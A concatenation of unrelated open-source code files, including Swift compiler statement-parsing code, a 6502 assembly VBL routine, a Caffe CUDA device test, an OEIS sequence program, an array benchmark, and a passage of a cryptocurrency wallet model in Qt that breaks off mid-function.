return makeParserResult<Stmt>(status, nullptr);
// parseStmtCatch promises to return non-null unless we are
// completing inside the catch's pattern.
allClauses.push_back(clause.get());
} while (Tok.is(tok::kw_catch) && !status.hasCodeCompletion());
// Recover from all of the clauses failing to parse by returning a
// normal do-statement.
if (allClauses.empty()) {
assert(status.isError());
return makeParserResult(status,
new (Context) DoStmt(labelInfo, doLoc, body.get()));
}
return makeParserResult(status,
DoCatchStmt::create(Context, labelInfo, doLoc, body.get(), allClauses));
}
SourceLoc whileLoc;
// If we don't see a 'while', this is just the bare 'do' scoping
// statement.
if (!consumeIf(tok::kw_while, whileLoc)) {
return makeParserResult(status,
new (Context) DoStmt(labelInfo, doLoc, body.get()));
}
// But if we do, advise the programmer that it's 'repeat' now.
diagnose(doLoc, diag::do_while_now_repeat_while)
.fixItReplace(doLoc, "repeat");
status.setIsParseError();
ParserResult<Expr> condition;
if (Tok.is(tok::l_brace)) {
SourceLoc lbraceLoc = Tok.getLoc();
diagnose(whileLoc, diag::missing_condition_after_while);
condition = makeParserErrorResult(new (Context) ErrorExpr(lbraceLoc));
} else {
condition = parseExpr(diag::expected_expr_repeat_while);
status |= condition;
if (condition.isNull() || condition.hasCodeCompletion())
return makeParserResult<Stmt>(status, nullptr); // FIXME: better recovery
}
return makeParserResult(
status,
new (Context) RepeatWhileStmt(labelInfo, doLoc, condition.get(), whileLoc,
body.get()));
}
/// stmt-catch:
/// 'catch' pattern ('where' expr)? stmt-brace
///
/// Note that this is not a "first class" statement; it can only
/// appear following a 'do' statement.
///
/// This routine promises to return a non-null result unless there was
/// a code-completion token in the pattern.
ParserResult<CatchStmt> Parser::parseStmtCatch() {
SyntaxParsingContext CatchClauseCtxt(SyntaxContext, SyntaxKind::CatchClause);
// A catch block has its own scope for variables bound out of the pattern.
Scope S(this, ScopeKind::CatchVars);
SourceLoc catchLoc = consumeToken(tok::kw_catch);
SmallVector<VarDecl*, 4> boundDecls;
ParserStatus status;
GuardedPattern pattern;
parseGuardedPattern(*this, pattern, status, boundDecls,
GuardedPatternContext::Catch, /* isFirst */ true);
if (status.hasCodeCompletion()) {
return makeParserCodeCompletionResult<CatchStmt>();
}
auto bodyResult = parseBraceItemList(diag::expected_lbrace_after_catch);
status |= bodyResult;
if (bodyResult.isNull()) {
bodyResult = makeParserErrorResult(BraceStmt::create(Context, PreviousLoc,
{}, PreviousLoc,
/*implicit=*/ true));
}
auto result =
new (Context) CatchStmt(catchLoc, pattern.ThePattern, pattern.WhereLoc,
pattern.Guard, bodyResult.get());
return makeParserResult(status, result);
}
static bool isStmtForCStyle(Parser &P) {
// If we have a leading identifier followed by a ':' or 'in', or have a
// 'case', then this is obviously a for-each loop. "for in ..." is malformed
// but it's obviously not a C-style for.
if ((P.Tok.isIdentifierOrUnderscore() &&
P.peekToken().isAny(tok::colon, tok::kw_in)) ||
P.Tok.isAny(tok::kw_case, tok::kw_in))
return false;
// Otherwise, we have to look forward if we see ';' in control part.
Parser::BacktrackingScope Backtrack(P);
// The condition of a c-style-for loop can be parenthesized.
auto HasLParen = P.consumeIf(tok::l_paren);
// Skip until we see ';', or something that ends control part.
while (true) {
if (P.Tok.isAny(tok::eof, tok::kw_in, tok::l_brace, tok::r_brace,
tok::r_paren) || P.isStartOfStmt())
return false;
// If we saw newline before ';', consider it is a foreach statement.
if (!HasLParen && P.Tok.isAtStartOfLine())
return false;
if (P.Tok.is(tok::semi))
return true;
P.skipSingle();
}
}
///
/// stmt-for-each:
/// (identifier ':')? 'for' pattern 'in' expr-basic \
/// ('where' expr-basic)? stmt-brace
ParserResult<Stmt> Parser::parseStmtForEach(LabeledStmtInfo LabelInfo) {
SyntaxContext->setCreateSyntax(SyntaxKind::ForInStmt);
SourceLoc ForLoc = consumeToken(tok::kw_for);
ParserStatus Status;
ParserResult<Pattern> pattern;
ParserResult<Expr> Container;
// The C-style for loop which was supported in Swift2 and foreach-style-for
// loop are conflated together into a single keyword, so we have to do some
// lookahead to resolve what is going on.
bool IsCStyleFor = isStmtForCStyle(*this);
auto StartOfControl = Tok.getLoc();
// Parse the pattern. This is either 'case <refutable pattern>' or just a
// normal pattern.
if (consumeIf(tok::kw_case)) {
llvm::SaveAndRestore<decltype(InVarOrLetPattern)>
T(InVarOrLetPattern, Parser::IVOLP_InMatchingPattern);
pattern = parseMatchingPattern(/*isExprBasic*/true);
pattern = parseOptionalPatternTypeAnnotation(pattern, /*isOptional*/false);
} else if (!IsCStyleFor || Tok.is(tok::kw_var)) {
// Change the parser state to know that the pattern we're about to parse is
// implicitly mutable. Bound variables can be changed to mutable explicitly
// if desired by using a 'var' pattern.
assert(InVarOrLetPattern == IVOLP_NotInVarOrLet &&
"for-each loops cannot exist inside other patterns");
InVarOrLetPattern = IVOLP_ImplicitlyImmutable;
pattern = parseTypedPattern();
assert(InVarOrLetPattern == IVOLP_ImplicitlyImmutable);
InVarOrLetPattern = IVOLP_NotInVarOrLet;
}
SourceLoc InLoc;
if (pattern.isNull()) {
// Recover by creating a "_" pattern.
pattern = makeParserErrorResult(new (Context) AnyPattern(SourceLoc()));
consumeIf(tok::kw_in, InLoc);
} else if (!IsCStyleFor) {
parseToken(tok::kw_in, InLoc, diag::expected_foreach_in);
}
// Bound variables all get their initial values from the generator.
pattern.get()->markHasNonPatternBindingInit();
if (IsCStyleFor) {
// Skip until start of body part.
if (Tok.is(tok::l_paren)) {
skipSingle();
} else {
// If not parenthesized, don't run over the line.
while (Tok.isNot(tok::eof, tok::r_brace, tok::l_brace, tok::code_complete)
&& !Tok.isAtStartOfLine())
skipSingle();
}
if (Tok.is(tok::code_complete))
return makeParserCodeCompletionStatus();
assert(StartOfControl != Tok.getLoc());
SourceRange ControlRange(StartOfControl, PreviousLoc);
Container = makeParserErrorResult(new (Context) ErrorExpr(ControlRange));
diagnose(ForLoc, diag::c_style_for_stmt_removed)
.highlight(ControlRange);
Status = makeParserError();
} else if (Tok.is(tok::l_brace)) {
SourceLoc LBraceLoc = Tok.getLoc();
diagnose(LBraceLoc, diag::expected_foreach_container);
Container = makeParserErrorResult(new (Context) ErrorExpr(LBraceLoc));
} else if (Tok.is(tok::code_complete)) {
Container =
makeParserResult(new (Context) CodeCompletionExpr(Tok.getLoc()));
Container.setHasCodeCompletion();
Status |= Container;
if (CodeCompletion)
CodeCompletion->completeForEachSequenceBeginning(
cast<CodeCompletionExpr>(Container.get()));
consumeToken(tok::code_complete);
} else {
Container = parseExprBasic(diag::expected_foreach_container);
Status |= Container;
if (Container.isNull())
Container = makeParserErrorResult(new (Context) ErrorExpr(Tok.getLoc()));
if (Container.isParseError())
// Recover.
skipUntilDeclStmtRBrace(tok::l_brace, tok::kw_where);
}
// Introduce a new scope and place the variables in the pattern into that
// scope.
// FIXME: We may want to merge this scope with the scope introduced by
// the stmt-brace, as in C++.
Scope S(this, ScopeKind::ForeachVars);
// Introduce variables to the current scope.
addPatternVariablesToScope(pattern.get());
// Parse the 'where' expression if present.
ParserResult<Expr> Where;
if (Tok.is(tok::kw_where)) {
SyntaxParsingContext WhereClauseCtxt(SyntaxContext,
SyntaxKind::WhereClause);
consumeToken();
Where = parseExprBasic(diag::expected_foreach_where_expr);
if (Where.isNull())
Where = makeParserErrorResult(new (Context) ErrorExpr(Tok.getLoc()));
Status |= Where;
}
// stmt-brace
ParserResult<BraceStmt> Body =
parseBraceItemList(diag::expected_foreach_lbrace);
Status |= Body;
if (Body.isNull())
Body = makeParserResult(
Body, BraceStmt::create(Context, ForLoc, {}, PreviousLoc, true));
return makeParserResult(
Status,
new (Context) ForEachStmt(LabelInfo, ForLoc, pattern.get(), InLoc,
Container.get(), Where.getPtrOrNull(),
Body.get()));
}
///
/// stmt-switch:
/// (identifier ':')? 'switch' expr-basic '{' stmt-case+ '}'
ParserResult<Stmt> Parser::parseStmtSwitch(LabeledStmtInfo LabelInfo) {
SyntaxContext->setCreateSyntax(SyntaxKind::SwitchStmt);
SourceLoc SwitchLoc = consumeToken(tok::kw_switch);
ParserStatus Status;
ParserResult<Expr> SubjectExpr;
SourceLoc SubjectLoc = Tok.getLoc();
if (Tok.is(tok::l_brace)) {
diagnose(SubjectLoc, diag::expected_switch_expr);
SubjectExpr = makeParserErrorResult(new (Context) ErrorExpr(SubjectLoc));
} else {
SubjectExpr = parseExprBasic(diag::expected_switch_expr);
if (SubjectExpr.hasCodeCompletion()) {
return makeParserCodeCompletionResult<Stmt>();
}
if (SubjectExpr.isNull()) {
SubjectExpr = makeParserErrorResult(new (Context) ErrorExpr(SubjectLoc));
}
Status |= SubjectExpr;
}
if (!Tok.is(tok::l_brace)) {
diagnose(Tok, diag::expected_lbrace_after_switch);
return nullptr;
}
SourceLoc lBraceLoc = consumeToken(tok::l_brace);
SourceLoc rBraceLoc;
SmallVector<ASTNode, 8> cases;
Status |= parseStmtCases(cases, /*IsActive=*/true);
// We cannot have additional cases after a default clause. Complain on
// the first offender.
bool hasDefault = false;
for (auto Element : cases) {
if (!Element.is<Stmt*>()) continue;
auto *CS = cast<CaseStmt>(Element.get<Stmt*>());
if (hasDefault) {
diagnose(CS->getLoc(), diag::case_after_default);
break;
}
hasDefault |= CS->isDefault();
}
if (parseMatchingToken(tok::r_brace, rBraceLoc,
diag::expected_rbrace_switch, lBraceLoc)) {
Status.setIsParseError();
}
return makeParserResult(
Status, SwitchStmt::create(LabelInfo, SwitchLoc, SubjectExpr.get(),
lBraceLoc, cases, rBraceLoc, Context));
}
ParserStatus
Parser::parseStmtCases(SmallVectorImpl<ASTNode> &cases, bool IsActive) {
SyntaxParsingContext CasesContext(SyntaxContext, SyntaxKind::SwitchCaseList);
ParserStatus Status;
while (Tok.isNot(tok::r_brace, tok::eof,
tok::pound_endif, tok::pound_elseif, tok::pound_else)) {
if (isAtStartOfSwitchCase(*this)) {
ParserResult<CaseStmt> Case = parseStmtCase(IsActive);
Status |= Case;
if (Case.isNonNull())
cases.emplace_back(Case.get());
} else if (Tok.is(tok::pound_if)) {
// '#if' in 'case' position can enclose one or more 'case' or 'default'
// clauses.
auto IfConfigResult = parseIfConfig(
[&](SmallVectorImpl<ASTNode> &Elements, bool IsActive) {
parseStmtCases(Elements, IsActive);
});
Status |= IfConfigResult;
if (auto ICD = IfConfigResult.getPtrOrNull()) {
cases.emplace_back(ICD);
for (auto &Entry : ICD->getActiveClauseElements()) {
if (Entry.is<Decl*>() &&
(isa<IfConfigDecl>(Entry.get<Decl*>())))
// Don't hoist nested '#if'.
continue;
assert((Entry.is<Stmt*>() && isa<CaseStmt>(Entry.get<Stmt*>())) ||
(Entry.is<Decl*>() &&
isa<PoundDiagnosticDecl>(Entry.get<Decl*>())));
cases.push_back(Entry);
}
}
} else if (Tok.is(tok::pound_warning) || Tok.is(tok::pound_error)) {
auto PoundDiagnosticResult = parseDeclPoundDiagnostic();
Status |= PoundDiagnosticResult;
if (auto PDD = PoundDiagnosticResult.getPtrOrNull()) {
cases.emplace_back(PDD);
}
} else {
// If there are non-case-label statements at the start of the switch body,
// raise an error and recover by discarding them.
diagnose(Tok, diag::stmt_in_switch_not_covered_by_case);
while (Tok.isNot(tok::r_brace, tok::eof, tok::pound_elseif,
tok::pound_else, tok::pound_endif) &&
!isTerminatorForBraceItemListKind(BraceItemListKind::Case, {})) {
skipSingle();
}
}
}
return Status;
}
static ParserStatus parseStmtCase(Parser &P, SourceLoc &CaseLoc,
SmallVectorImpl<CaseLabelItem> &LabelItems,
SmallVectorImpl<VarDecl *> &BoundDecls,
SourceLoc &ColonLoc) {
SyntaxParsingContext CaseContext(P.SyntaxContext,
SyntaxKind::SwitchCaseLabel);
ParserStatus Status;
bool isFirst = true;
CaseLoc = P.consumeToken(tok::kw_case);
{
SyntaxParsingContext ListContext(P.SyntaxContext, SyntaxKind::CaseItemList);
while (true) {
SyntaxParsingContext ItemContext(P.SyntaxContext, SyntaxKind::CaseItem);
GuardedPattern PatternResult;
parseGuardedPattern(P, PatternResult, Status, BoundDecls,
GuardedPatternContext::Case, isFirst);
LabelItems.push_back(
CaseLabelItem(PatternResult.ThePattern, PatternResult.WhereLoc,
PatternResult.Guard));
isFirst = false;
if (!P.consumeIf(tok::comma))
break;
}
}
ColonLoc = P.Tok.getLoc();
if (!P.Tok.is(tok::colon)) {
P.diagnose(P.Tok, diag::expected_case_colon, "case");
Status.setIsParseError();
} else
P.consumeToken(tok::colon);
return Status;
}
static ParserStatus
parseStmtCaseDefault(Parser &P, SourceLoc &CaseLoc,
SmallVectorImpl<CaseLabelItem> &LabelItems,
SourceLoc &ColonLoc) {
SyntaxParsingContext CaseContext(P.SyntaxContext,
SyntaxKind::SwitchDefaultLabel);
ParserStatus Status;
CaseLoc = P.consumeToken(tok::kw_default);
// We don't allow 'where' guards on a 'default' block. For recovery
// parse one if present.
SourceLoc WhereLoc;
ParserResult<Expr> Guard;
if (P.Tok.is(tok::kw_where)) {
P.diagnose(P.Tok, diag::default_with_where);
WhereLoc = P.consumeToken(tok::kw_where);
Guard = P.parseExpr(diag::expected_case_where_expr);
Status |= Guard;
}
ColonLoc = P.Tok.getLoc();
if (!P.Tok.is(tok::colon)) {
P.diagnose(P.Tok, diag::expected_case_colon, "default");
Status.setIsParseError();
} else
P.consumeToken(tok::colon);
// Create an implicit AnyPattern to represent the default match.
auto Any = new (P.Context) AnyPattern(CaseLoc);
LabelItems.push_back(
CaseLabelItem::getDefault(Any, WhereLoc, Guard.getPtrOrNull()));
return Status;
}
ParserResult<CaseStmt> Parser::parseStmtCase(bool IsActive) {
SyntaxParsingContext CaseContext(SyntaxContext, SyntaxKind::SwitchCase);
// A case block has its own scope for variables bound out of the pattern.
Scope S(this, ScopeKind::CaseVars, !IsActive);
ParserStatus Status;
SmallVector<CaseLabelItem, 2> CaseLabelItems;
SmallVector<VarDecl *, 4> BoundDecls;
SourceLoc UnknownAttrLoc;
while (Tok.is(tok::at_sign)) {
SyntaxParsingContext AttrCtx(SyntaxContext, SyntaxKind::Attribute);
if (peekToken().isContextualKeyword("unknown")) {
if (!UnknownAttrLoc.isValid()) {
UnknownAttrLoc = consumeToken(tok::at_sign);
} else {
diagnose(Tok, diag::duplicate_attribute, false);
diagnose(UnknownAttrLoc, diag::previous_attribute, false);
consumeToken(tok::at_sign);
}
consumeIdentifier();
SyntaxParsingContext Args(SyntaxContext, SyntaxKind::TokenList);
if (Tok.is(tok::l_paren)) {
diagnose(Tok, diag::unexpected_lparen_in_attribute, "unknown");
skipSingle();
}
} else {
consumeToken(tok::at_sign);
diagnose(Tok, diag::unknown_attribute, Tok.getText());
consumeIdentifier();
SyntaxParsingContext Args(SyntaxContext, SyntaxKind::TokenList);
if (Tok.is(tok::l_paren))
skipSingle();
}
}
SourceLoc CaseLoc;
SourceLoc ColonLoc;
if (Tok.is(tok::kw_case)) {
Status |=
::parseStmtCase(*this, CaseLoc, CaseLabelItems, BoundDecls, ColonLoc);
} else if (Tok.is(tok::kw_default)) {
Status |= parseStmtCaseDefault(*this, CaseLoc, CaseLabelItems, ColonLoc);
} else {
llvm_unreachable("isAtStartOfSwitchCase() lied.");
}
assert(!CaseLabelItems.empty() && "did not parse any labels?!");
SmallVector<ASTNode, 8> BodyItems;
SourceLoc StartOfBody = Tok.getLoc();
if (Tok.isNot(tok::r_brace) && !isAtStartOfSwitchCase(*this)) {
Status |= parseBraceItems(BodyItems, BraceItemListKind::Case);
} else if (Status.isSuccess()) {
diagnose(CaseLoc, diag::case_stmt_without_body,
CaseLabelItems.back().isDefault())
.highlight(SourceRange(CaseLoc, ColonLoc))
.fixItInsertAfter(ColonLoc, " break");
}
BraceStmt *Body;
if (BodyItems.empty()) {
Body = BraceStmt::create(Context, PreviousLoc, ArrayRef<ASTNode>(),
PreviousLoc, /*implicit=*/true);
} else {
Body = BraceStmt::create(Context, StartOfBody, BodyItems,
PreviousLoc, /*implicit=*/true);
}
return makeParserResult(
Status, CaseStmt::create(Context, CaseLoc, CaseLabelItems,
!BoundDecls.empty(), UnknownAttrLoc, ColonLoc,
Body));
}
|
; /*****************************************************************************
; * ugBASIC - an isomorphic BASIC language compiler for retrocomputers *
; *****************************************************************************
; * Copyright 2021 Marco Spedaletti (asimov@mclink.it)
; *
; * Licensed under the Apache License, Version 2.0 (the "License");
; * you may not use this file except in compliance with the License.
; * You may obtain a copy of the License at
; *
; * http://www.apache.org/licenses/LICENSE-2.0
; *
; * Unless required by applicable law or agreed to in writing, software
; * distributed under the License is distributed on an "AS IS" BASIS,
; * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
; * See the License for the specific language governing permissions and
; * limitations under the License.
; *----------------------------------------------------------------------------
; * Concesso in licenza secondo i termini della Licenza Apache, versione 2.0
; * (la "Licenza"); è proibito usare questo file se non in conformità alla
; * Licenza. Una copia della Licenza è disponibile all'indirizzo:
; *
; * http://www.apache.org/licenses/LICENSE-2.0
; *
; * Se non richiesto dalla legislazione vigente o concordato per iscritto,
; * il software distribuito nei termini della Licenza è distribuito
; * "COSì COM'è", SENZA GARANZIE O CONDIZIONI DI ALCUN TIPO, esplicite o
; * implicite. Consultare la Licenza per il testo specifico che regola le
; * autorizzazioni e le limitazioni previste dalla medesima.
; ****************************************************************************/
;* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
;* *
;* VBL DETECTION FOR GTIA HARDWARE *
;* *
;* by Marco Spedaletti *
;* *
;* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
VBL:
LDA #0
STA ANTICVBL
VBL2:
LDA ANTICVBL
BEQ VBL2
LDA #0
STA VBL
RTS
|
#ifndef CPU_ONLY
#ifdef USE_CUDA
#include <cstdio>
#include <cstdlib>
#include "glog/logging.h"
#include "gtest/gtest.h"
#include "caffe/test/test_caffe_main.hpp"
namespace caffe {
extern cudaDeviceProp CAFFE_TEST_CUDA_PROP;
class PlatformTest : public ::testing::Test {};
TEST_F(PlatformTest, TestInitialization) {
printf("Major revision number: %d\n", CAFFE_TEST_CUDA_PROP.major);
printf("Minor revision number: %d\n", CAFFE_TEST_CUDA_PROP.minor);
printf("Name: %s\n", CAFFE_TEST_CUDA_PROP.name);
printf("Total global memory: %lu\n",
CAFFE_TEST_CUDA_PROP.totalGlobalMem);
printf("Total shared memory per block: %lu\n",
CAFFE_TEST_CUDA_PROP.sharedMemPerBlock);
printf("Total registers per block: %d\n",
CAFFE_TEST_CUDA_PROP.regsPerBlock);
printf("Warp size: %d\n",
CAFFE_TEST_CUDA_PROP.warpSize);
printf("Maximum memory pitch: %lu\n",
CAFFE_TEST_CUDA_PROP.memPitch);
printf("Maximum threads per block: %d\n",
CAFFE_TEST_CUDA_PROP.maxThreadsPerBlock);
for (int i = 0; i < 3; ++i)
printf("Maximum dimension %d of block: %d\n", i,
CAFFE_TEST_CUDA_PROP.maxThreadsDim[i]);
for (int i = 0; i < 3; ++i)
printf("Maximum dimension %d of grid: %d\n", i,
CAFFE_TEST_CUDA_PROP.maxGridSize[i]);
printf("Clock rate: %d\n", CAFFE_TEST_CUDA_PROP.clockRate);
printf("Total constant memory: %lu\n",
CAFFE_TEST_CUDA_PROP.totalConstMem);
printf("Texture alignment: %lu\n",
CAFFE_TEST_CUDA_PROP.textureAlignment);
printf("Concurrent copy and execution: %s\n",
(CAFFE_TEST_CUDA_PROP.deviceOverlap ? "Yes" : "No"));
printf("Number of multiprocessors: %d\n",
CAFFE_TEST_CUDA_PROP.multiProcessorCount);
printf("Kernel execution timeout: %s\n",
(CAFFE_TEST_CUDA_PROP.kernelExecTimeoutEnabled ? "Yes" : "No"));
printf("Unified virtual addressing: %s\n",
(CAFFE_TEST_CUDA_PROP.unifiedAddressing ? "Yes" : "No"));
EXPECT_TRUE(true);
}
} // namespace caffe
#endif // USE_CUDA
#endif // CPU_ONLY
|
; A029578: The natural numbers interleaved with the even numbers.
; 0,0,1,2,2,4,3,6,4,8,5,10,6,12,7,14,8,16,9,18,10,20,11,22,12,24,13,26,14,28,15,30,16,32,17,34,18,36,19,38,20,40,21,42,22,44,23,46,24,48,25,50,26,52,27,54,28,56,29,58,30,60,31,62,32,64,33,66,34,68,35,70,36,72,37,74,38,76,39,78,40,80,41,82,42,84,43,86,44,88,45,90,46,92,47,94,48,96,49,98,50,100,51,102,52,104,53,106,54,108,55,110,56,112,57,114,58,116,59,118,60,120,61,122,62,124,63,126,64,128,65,130,66,132,67,134,68,136,69,138,70,140,71,142,72,144,73,146,74,148,75,150,76,152,77,154,78,156,79,158,80,160,81,162,82,164,83,166,84,168,85,170,86,172,87,174,88,176,89,178,90,180,91,182,92,184,93,186,94,188,95,190,96,192,97,194,98,196,99,198,100,200,101,202,102,204,103,206,104,208,105,210,106,212,107,214,108,216,109,218,110,220,111,222,112,224,113,226,114,228,115,230,116,232,117,234,118,236,119,238,120,240,121,242,122,244,123,246,124,248
sub $0,2
dif $0,2
add $0,1
mov $1,$0
|
//------------------------------------------------------------------------------
//
// Copyright 2018-2019 Fetch.AI Limited
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
//
//------------------------------------------------------------------------------
#include "vectorise/memory/array.hpp"
#include "vectorise/memory/shared_array.hpp"
#include <chrono>
#include <cstddef>
#include <cstdlib>
#include <iostream>
using type = float;
using array_type = fetch::memory::Array<type>;
using vector_type = typename array_type::VectorRegisterType;
void RelativeDifference(array_type const &A, array_type const &B, array_type &C)
{
type cst{0.5};
C.in_parallel().Apply(
[cst](auto const &a, auto const &b, auto &c) { c = decltype(a)(cst) * (a - b) / (a + b); }, A,
B);
}
int main(int argc, char const **argv)
{
if (argc != 2)
{
std::cout << std::endl;
std::cout << "Usage: " << argv[0] << " [array size] " << std::endl;
std::cout << std::endl;
return 0;
}
auto N = std::size_t(std::atoi(argv[1]));
array_type A(N), B(N), C(N);
for (std::size_t i = 0; i < N; ++i)
{
A[i] = type(i);
B[i] = type(i) * 2;
}
std::chrono::high_resolution_clock::time_point t1 = std::chrono::high_resolution_clock::now();
for (std::size_t i = 0; i < 10000; ++i)
{
RelativeDifference(A, B, C);
}
std::chrono::high_resolution_clock::time_point t2 = std::chrono::high_resolution_clock::now();
double time_span = std::chrono::duration_cast<std::chrono::duration<double>>(t2 - t1).count();
std::cout << time_span << " s" << std::endl;
return 0;
}
|
// Copyright (c) 2011-2017 The Bitcoin Core developers
// Distributed under the MIT software license, see the accompanying
// file COPYING or http://www.opensource.org/licenses/mit-license.php.
#include <qt/walletmodel.h>
#include <qt/addresstablemodel.h>
#include <consensus/validation.h>
#include <qt/guiconstants.h>
#include <qt/guiutil.h>
#include <qt/optionsmodel.h>
#include <qt/paymentserver.h>
#include <qt/recentrequeststablemodel.h>
#include <qt/sendcoinsdialog.h>
#include <qt/transactiontablemodel.h>
#include <base58.h>
#include <chain.h>
#include <keystore.h>
#include <validation.h>
#include <net.h> // for g_connman
#include <policy/fees.h>
#include <policy/rbf.h>
#include <sync.h>
#include <ui_interface.h>
#include <util.h> // for GetBoolArg
#include <validation.h> // for BlockchainStatus info
#include <wallet/coincontrol.h>
#include <wallet/feebumper.h>
#include <wallet/wallet.h>
#include <wallet/walletdb.h> // for BackupWallet
#include <stdint.h>
#include <QDebug>
#include <QMessageBox>
#include <QSet>
#include <QTimer>
WalletModel::WalletModel(const PlatformStyle *platformStyle, CWallet *_wallet, OptionsModel *_optionsModel, QObject *parent) :
QObject(parent), wallet(_wallet), optionsModel(_optionsModel), addressTableModel(0),
transactionTableModel(0),
recentRequestsTableModel(0),
cachedBalance(0), cachedUnconfirmedBalance(0), cachedImmatureBalance(0),
cachedStakeBalance(0),
cachedEncryptionStatus(Unencrypted),
cachedNumBlocks(0)
{
fHaveWatchOnly = wallet->HaveWatchOnly();
fForceCheckBalanceChanged = false;
addressTableModel = new AddressTableModel(wallet, this);
transactionTableModel = new TransactionTableModel(platformStyle, wallet, this);
recentRequestsTableModel = new RecentRequestsTableModel(wallet, this);
// This timer will be fired repeatedly to update the balance
pollTimer = new QTimer(this);
connect(pollTimer, SIGNAL(timeout()), this, SLOT(pollBalanceChanged()));
pollTimer->start(MODEL_UPDATE_DELAY);
subscribeToCoreSignals();
}
WalletModel::~WalletModel()
{
unsubscribeFromCoreSignals();
}
CAmount WalletModel::getBalance(const CCoinControl *coinControl) const
{
if (coinControl)
{
return wallet->GetAvailableBalance(coinControl);
}
return wallet->GetBalance();
}
CAmount WalletModel::getStakeBalance() const
{
return wallet->GetStakeBalance();
}
CAmount WalletModel::getUnconfirmedBalance() const
{
return wallet->GetUnconfirmedBalance();
}
CAmount WalletModel::getImmatureBalance() const
{
return wallet->GetImmatureBalance();
}
bool WalletModel::haveWatchOnly() const
{
return fHaveWatchOnly;
}
CAmount WalletModel::getWatchBalance() const
{
return wallet->GetWatchOnlyBalance();
}
CAmount WalletModel::getWatchUnconfirmedBalance() const
{
return wallet->GetUnconfirmedWatchOnlyBalance();
}
CAmount WalletModel::getWatchImmatureBalance() const
{
return wallet->GetImmatureWatchOnlyBalance();
}
CAmount WalletModel::getWatchStakeBalance() const
{
return wallet->GetStakeWatchOnlyBalance();
}
void WalletModel::updateStatus()
{
EncryptionStatus newEncryptionStatus = getEncryptionStatus();
if(cachedEncryptionStatus != newEncryptionStatus)
Q_EMIT encryptionStatusChanged(newEncryptionStatus);
}
void WalletModel::pollBalanceChanged()
{
// Get required locks upfront. This avoids the GUI from getting stuck on
// periodical polls if the core is holding the locks for a longer time -
// for example, during a wallet rescan.
TRY_LOCK(cs_main, lockMain);
if(!lockMain)
return;
TRY_LOCK(wallet->cs_wallet, lockWallet);
if(!lockWallet)
return;
if(fForceCheckBalanceChanged || chainActive.Height() != cachedNumBlocks)
{
fForceCheckBalanceChanged = false;
// Balance and number of transactions might have changed
cachedNumBlocks = chainActive.Height();
checkBalanceChanged();
if(transactionTableModel)
transactionTableModel->updateConfirmations();
}
}
void WalletModel::checkBalanceChanged()
{
CAmount newBalance = getBalance();
CAmount newUnconfirmedBalance = getUnconfirmedBalance();
CAmount newImmatureBalance = getImmatureBalance();
CAmount newStakeBalance = getStakeBalance();
CAmount newWatchOnlyBalance = 0;
CAmount newWatchUnconfBalance = 0;
CAmount newWatchImmatureBalance = 0;
CAmount newWatchStakeBalance = 0;
if (haveWatchOnly())
{
newWatchOnlyBalance = getWatchBalance();
newWatchUnconfBalance = getWatchUnconfirmedBalance();
newWatchImmatureBalance = getWatchImmatureBalance();
newWatchStakeBalance = getWatchStakeBalance();
}
if(cachedBalance != newBalance || cachedUnconfirmedBalance != newUnconfirmedBalance || cachedImmatureBalance != newImmatureBalance || cachedStakeBalance != newStakeBalance ||
cachedWatchOnlyBalance != newWatchOnlyBalance || cachedWatchUnconfBalance != newWatchUnconfBalance || cachedWatchImmatureBalance != newWatchImmatureBalance || cachedWatchStakeBalance != newWatchStakeBalance)
{
cachedBalance = newBalance;
cachedUnconfirmedBalance = newUnconfirmedBalance;
cachedImmatureBalance = newImmatureBalance;
cachedStakeBalance = newStakeBalance;
cachedWatchOnlyBalance = newWatchOnlyBalance;
cachedWatchUnconfBalance = newWatchUnconfBalance;
cachedWatchImmatureBalance = newWatchImmatureBalance;
cachedWatchStakeBalance = newWatchStakeBalance;
Q_EMIT balanceChanged(newBalance, newUnconfirmedBalance, newImmatureBalance, newStakeBalance,
newWatchOnlyBalance, newWatchUnconfBalance, newWatchImmatureBalance,newWatchStakeBalance );
}
}
void WalletModel::updateTransaction()
{
// Balance and number of transactions might have changed
fForceCheckBalanceChanged = true;
}
void WalletModel::updateAddressBook(const QString &address, const QString &label,
bool isMine, const QString &purpose, int status)
{
if(addressTableModel)
addressTableModel->updateEntry(address, label, isMine, purpose, status);
}
void WalletModel::updateWatchOnlyFlag(bool fHaveWatchonly)
{
fHaveWatchOnly = fHaveWatchonly;
Q_EMIT notifyWatchonlyChanged(fHaveWatchonly);
}
bool WalletModel::validateAddress(const QString &address)
{
std::string sAddr = address.toStdString();
if ( sAddr.length() > STEALTH_LENGTH_TRESHOLD && IsStealthAddress(sAddr) )
return true;
return IsValidDestinationString(address.toStdString());
}
WalletModel::SendCoinsReturn WalletModel::prepareTransaction(WalletModelTransaction &transaction, const CCoinControl& coinControl)
{
CAmount total = 0;
bool fSubtractFeeFromAmount = false;
QList<SendCoinsRecipient> recipients = transaction.getRecipients();
std::vector<CRecipient> vecSend;
if(recipients.empty())
{
return OK;
}
QSet<QString> setAddress; // Used to detect duplicates
int nAddresses = 0;
std::map<int, std::string> mapStealthNarr;
// Pre-check input data for validity
for (const SendCoinsRecipient &rcp : recipients)
{
if (rcp.fSubtractFeeFromAmount)
fSubtractFeeFromAmount = true;
if (rcp.paymentRequest.IsInitialized())
{ // PaymentRequest...
CAmount subtotal = 0;
const payments::PaymentDetails& details = rcp.paymentRequest.getDetails();
for (int i = 0; i < details.outputs_size(); i++)
{
const payments::Output& out = details.outputs(i);
if (out.amount() <= 0) continue;
subtotal += out.amount();
const unsigned char* scriptStr = (const unsigned char*)out.script().data();
CScript scriptPubKey(scriptStr, scriptStr+out.script().size());
CAmount nAmount = out.amount();
CRecipient recipient = {scriptPubKey, nAmount, rcp.fSubtractFeeFromAmount};
vecSend.push_back(recipient);
}
if (subtotal <= 0)
{
return InvalidAmount;
}
total += subtotal;
}
else
{ // User-entered bitcoin address / amount:
if(!validateAddress(rcp.address))
{
return InvalidAddress;
}
if(rcp.amount <= 0)
{
return InvalidAmount;
}
setAddress.insert(rcp.address);
++nAddresses;
